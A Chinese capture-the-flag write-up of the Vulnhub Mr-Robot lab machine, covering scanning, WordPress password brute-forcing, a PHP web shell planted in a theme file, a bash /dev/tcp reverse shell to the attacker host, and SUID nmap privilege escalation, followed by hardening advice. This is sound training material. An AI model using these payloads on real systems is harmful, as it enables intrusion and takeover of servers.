Mr-Robot 靶机渗透测试(Vulnhub Writeup)

Mr-Robot 靶机渗透测试(Vulnhub Writeup)

一、靶机与环境介绍

本次实战目标为 Vulnhub 平台的 Mr-Robot 靶机,灵感取自美剧《黑客军团》,主题为 fsociety 黑客组织。任务目标是依次收集三个 KEY(key-1-of-3、key-2-of-3、key-3-of-3)。攻击机为 Kali Linux(192.168.153.162),靶机地址经扫描确认为 192.168.153.167。

二、信息收集

(一)存活主机扫描

先对本地网段进行 ARP 存活探测,发现 192.168.153.167 为 VMware 虚拟机。

复制代码
┌──(root㉿kali)-[~]
└─# arp-scan -l
 
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162
 
192.168.153.167 00:0c:29:9a:e1:92       VMware, Inc.

(二)端口扫描

全端口扫描发现 22 端口关闭,80(HTTP)与 443(HTTPS)开放,Web 服务为 Apache。

复制代码
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.153.167
 
PORT    STATE  SERVICE
22/tcp  closed ssh
80/tcp  open   http
443/tcp open   https

┌──(root㉿kali)-[~]
└─# nmap -p22,80,443 192.168.153.167 -sV -O -sC
 
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
|_Not valid before: 2015-09-16T10:45:03
MAC Address: 00:0C:29:9A:E1:92 (VMware)
Aggressive OS guesses: Linux 3.10 - 4.11 (98%)

(三)目录扫描与第一个 KEY

使用 dirsearch 对 Web 目录进行爆破,从 wp-admin、wp-login.php 等路径可以判断这是一个 WordPress 站点,首页有 fsociety 主题的纪录片式引导。查看 robots.txt 发现暴露的 key-1-of-3.txt,访问后拿到第一个 KEY:073403c8a58a1f80d943455fb30724b9;同时发现站点还提供了字典文件 fsocity.dic,将其下载并去重排序后用于后续登录爆破。

复制代码
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.153.167
 
[13:25:54] 200 -  678B  - /admin/
[13:27:06] 302 -    0B  - /dashboard  ->  http://192.168.153.167/wp-admin/
[13:27:55] 302 -    0B  - /login  ->  http://192.168.153.167/wp-login.php
[13:28:52] 200 -    0B  - /robots.txt
[13:29:27] 200 -    1KB - /wp-login.php
[13:29:25] 302 -    0B  - /wp-admin/  ->  http://192.168.153.167/wp-login.php?redirect_to=...

┌──(root㉿kali)-[~]
└─# curl http://192.168.153.167/fsocity.dic | sort -u | tee fsocity.dic
 
┌──(root㉿kali)-[~]
└─# wc -l fsocity.dic
11451 fsocity.dic

(四)指纹识别

使用 whatweb 识别 WordPress 版本与 PHP 版本,确认站点为 WordPress 4.3.1、PHP 5.5.29。

复制代码
┌──(root㉿kali)-[~]
└─# whatweb http://192.168.153.167/wp-admin/
 
http://192.168.153.167/wp-login.php [...] [200 OK] Apache, Cookies[wordpress_...], HTML5, PHP[5.5.29], PasswordField[pwd], PoweredBy[WordPress], Title[user's Blog! › Log In], WordPress, X-Powered-By[PHP/5.5.29]

三、WordPress 登录爆破

(一)枚举用户名

使用 Burp Suite Intruder 对 wp-login.php 进行用户名枚举,对比响应长度发现 elliot 账号的响应包长度与其他用户名不同(4190 与 4140),确认为有效用户名。

(二)爆破密码

使用 wpscan 结合之前去重后的 fsocity.dic 字典对 elliot 进行密码爆破,成功得到凭据 elliot/ER28-0652。

复制代码
┌──(root㉿kali)-[~]
└─# wpscan --url http://192.168.153.167/wp-login.php -U elliot -P fsocity.dic
 
[+] WordPress version 4.3.1 identified (Insecure, released on 2015-09-15).
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - elliot / ER28-0652
Trying elliot / ER28-0652 Time: 00:01:52 <====> (5630 / 17081) 32.96%
[!] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
[+] Elapsed time: 00:02:00

四、主题编辑器 getshell

使用 elliot 凭据登录 WordPress 后台,进入 Appearance → Editor → 404 Template(404.php),在文件开头写入一句话后门 <?php system($_GET0); ?> 并保存。

访问 http://192.168.153.167/404.php?0=id 验证命令执行,回显当前进程用户为 daemon。

随后在本地 nc 监听 4444 端口,通过后门参数传入反弹 Shell 命令(注意 URL 编码),成功上线。

复制代码
/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.153.162/4444 0>&1"
 
# URL 编码后传入 GET 参数:
%2fbin%2fbash+-c+%22%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f192.168.153.162%2f4444+0%3e%261%22

┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
 
listening on [any] 4444 ...
connect to [192.168.153.162] from (UNKNOWN) [192.168.153.167] 34657
 
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)

五、切换 robot 用户(第二个 KEY)

在 Web 目录下看到提示文件 you-will-never-guess-this-file-name.txt,查看 /etc/passwd 发现存在 robot 用户。进入 /home/robot 目录,读取 password.raw-md5 得到 robot 账号的 MD5 哈希 robot:c3fcd3d76192e4007dfb496cca67e13b,离线破解结果为 robot:abcdefghijklmnopqrstuvwxyz。切换用户后读取 key-2-of-3.txt,拿到第二个 KEY。

复制代码
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cat /etc/passwd
 
root:x:0:0:root:/root:/bin/bash
robot:x:1002:1002::/home/robot:
 
daemon@linux:/home/robot$ ls -alc
-r-------- 1 robot robot   33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13 2015 password.raw-md5
 
daemon@linux:/home/robot$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

daemon@linux:~$ python -c "import pty;pty.spawn('/bin/bash');"
daemon@linux:~$ su - robot
Password: abcdefghijklmnopqrstuvwxyz
 
robot@linux:~$ cat key-2-of-3.txt
822c73956184f694993bede3eb39f959

六、nmap SUID 提权(第三个 KEY)

查找系统中带 SUID 位的二进制文件,发现 /usr/local/bin/nmap 被设置了 SUID。利用 nmap 的 --interactive 交互模式,在 nmap 提示符下使用 !sh 直接拉起 root Shell,最终读取 /root/key-3-of-3.txt。

复制代码
robot@linux:~$ find / -type f -perm -u=s 2>/dev/null
 
/usr/local/bin/nmap

robot@linux:~$ /usr/local/bin/nmap --interactive
 
nmap> !sh
 
# id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
# whoami
root
# ls /root/ -la
-rw-r--r--  1 root root    0 Nov 13 2015 firstboot_done
-r--------  1 root root  33 Nov 13 2015 key-3-of-3.txt
# cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4

七、总结

Mr-Robot 靶机的完整攻击链如下:

  1. 端口与目录扫描确认目标为 WordPress 4.3.1,从 robots.txt 获取第一个 KEY 与官方字典 fsocity.dic;

  2. Burp 枚举有效用户名 elliot,wpscan 爆破得到 elliot/ER28-0652;

  3. 登录后台通过主题编辑器写入 404.php 一句话后门,反弹 Shell 获得 daemon 权限;

  4. 读取 /home/robot/password.raw-md5,破解 MD5 后切换 robot 用户,获得第二个 KEY;

  5. 利用 SUID 位的 nmap 交互模式提权至 root,读取第三个 KEY。

对应的安全建议:① 及时升级 WordPress 与 PHP 版本,关闭主题编辑器的文件写入能力;② 站点不应暴露字典文件、KEY 文件等敏感路径;③ 禁用 WP 用户登录枚举、使用强口令并配合登录失败锁定;④ 严格控制 SUID 二进制清单,nmap 等调试工具不应配置为 SUID;⑤ Web 运行用户与数据库、家目录权限隔离,避免 MD5 哈希泄露后可直接切换用户。

相关推荐
AOI小白新手上路1 小时前
DRSformer Rain200H 省钱推理复现笔记
笔记
聚铭网络1 小时前
你的“三高一弱”排查到位了吗?
安全
外收内放1 小时前
数据分析(数据查询与选择)
python·学习·数据分析
MIXLLRED1 小时前
Batch Normalization 学习笔记:γ、β 与 γ>0 的关键限制
笔记·学习·batch
霖霖7141 小时前
【ESP32笔记】LED操作和呼吸灯实现
笔记·单片机·嵌入式硬件
2501_937860941 小时前
HTTP/HTTPS 学习笔记(中):报头、Cookie、状态码与请求构造
学习·http·https
外收内放1 小时前
数据分析(数据读取与写入)
python·学习·数据分析
学linux的QQ蛋2 小时前
sys文件系统与misc文件系统学习小总结
linux·学习·驱动
howdoyoudo2026066 小时前
AI审计手记 #28:从“暂停训练”到“切断联网”——AI安全控制手段的极限升级
大数据·人工智能·安全·ai·语言模型